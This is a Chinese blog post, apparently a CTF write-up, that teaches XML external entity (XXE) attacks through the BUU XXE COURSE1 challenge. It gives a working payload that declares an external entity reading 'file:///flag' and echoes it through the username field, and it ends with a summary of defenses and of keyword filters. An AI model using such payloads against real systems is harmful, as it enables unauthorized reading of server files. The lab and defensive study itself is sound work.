XXE学习(with BUU XXE COURSE1)

 封面由DALLE生成

       XXE基本概念

        XXE是围绕XML文档外部实体的攻击.

        攻击实现的逻辑是:xml解释器具有外部文件的访问能力,因此可以利用读取文件的xml标签,引导xml解释器对文件进行访问,实现对文件的增删改查。漏洞是在于XML解释器的配置问题导致的对外部实体的信任,配置好的解释器应该


        攻击手法(e.g. BUU XXE COURSE)  


        (1)打开网站和bp,网站界面如图

入口界面随便填点,然后提交

抓包可以看到有一个内嵌的xml

可以看到有一个root根元素(可以理解为类),我们直接为其添加一个外部实体(可以理解为类下的方法)我们可以为其添加一个自己的外部实体,

直接在xml标签头下打入(具体位置可以看后面的截图)

<!DOCTYPE root [  
<!ENTITY admin SYSTEM "file:///flag"> ]> 

这样我们在根元素root下有了一个外部实体admin,admin含有一个SYSTEM关键字,XML的解释器会在后续引用admin的时候,将会打开flag的内容并对username内的内容进行替换。现在我们在root根元素中对其进行引用
 

&admin;

修改后的xml如下
 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [  
<!ENTITY admin SYSTEM "file:///flag"> ]> 

<root>
	 <username>&admin;</username>
	 <password>cdf</password> 
</root>

(这里打到username段是因为username段有回显)

替换掉原本包的xml的部分,扔到repeater发包即可拿到flag

XXE漏洞的其他内容可以看:https://xz.aliyun.com/t/3357

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PentesterLab XXE是一个关于XML注入(XXE)的培训平台,它提供了关于XXE漏洞的理论知识和实际演练。XXE漏洞是一种安全漏洞,利用XML解析器对外部实体的处理不当,使攻击者能够读取本地文件、执行远程请求等。通过学习和实践,可以帮助开发人员和安全专家了解并防范XXE漏洞的风险。在PentesterLab XXE的课程中,可以学习XXE漏洞的原理、漏洞代码编写、利用任意文件读取等技术,以及防御XXE漏洞的策略。对于防御XXE漏洞,可以采取禁用外部实体加载的方法,如在PHP中使用libxml_disable_entity_loader(true),在Java中使用setExpandEntityReferences(false),在Python中使用etree.XMLParser(resolve_entities=False)等。此外,对用户提交的XML数据进行过滤,过滤掉可能存在XXE漏洞的关键词,如<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC等。通过学习和实践,可以提高对XXE漏洞的识别能力和防御能力。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [XML 外部实体注入---XXE](https://blog.csdn.net/weixin_45677145/article/details/111638708)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值